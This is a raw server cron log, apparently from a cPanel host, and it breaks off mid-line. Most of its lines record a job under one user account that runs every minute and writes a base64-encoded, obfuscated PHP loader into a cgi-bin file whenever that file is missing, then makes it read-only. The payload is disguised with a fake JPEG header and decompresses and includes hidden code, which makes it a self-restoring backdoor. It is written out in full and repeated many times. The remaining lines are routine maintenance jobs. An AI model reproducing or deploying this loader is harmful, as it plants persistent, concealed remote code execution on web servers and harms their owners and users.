Nov 10 02:53:01 server CROND[26083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:54:01 server CROND[26585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:55:01 server CROND[27304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:55:01 server CROND[27305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:55:01 server CROND[27306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:56:01 server CROND[28268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:57:01 server CROND[29084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 02:57:01 server CROND[29085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:58:01 server CROND[29934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:59:01 server CROND[30753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:59:01 server CROND[30754]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 10 03:00:01 server CROND[31762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:00:01 server CROND[31763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:00:01 server CROND[31766]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:00:01 server CROND[31765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:01:01 server CROND[32647]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 03:01:01 server CROND[32648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:01:01 server run-parts(/etc/cron.hourly)[32647]: starting 0anacron
Nov 10 03:01:01 server anacron[32661]: Anacron started on 2025-11-10
Nov 10 03:01:01 server run-parts(/etc/cron.hourly)[32663]: finished 0anacron
Nov 10 03:01:01 server anacron[32661]: Will run job `cron.daily' in 32 min.
Nov 10 03:01:01 server anacron[32661]: Will run job `cron.weekly' in 52 min.
Nov 10 03:01:01 server anacron[32661]: Jobs will be executed sequentially
Nov 10 03:02:01 server CROND[1147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:03:01 server CROND[1906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:04:01 server CROND[2711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:05:01 server CROND[3578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:05:01 server CROND[3580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 03:05:01 server CROND[3579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:05:01 server CROND[3584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 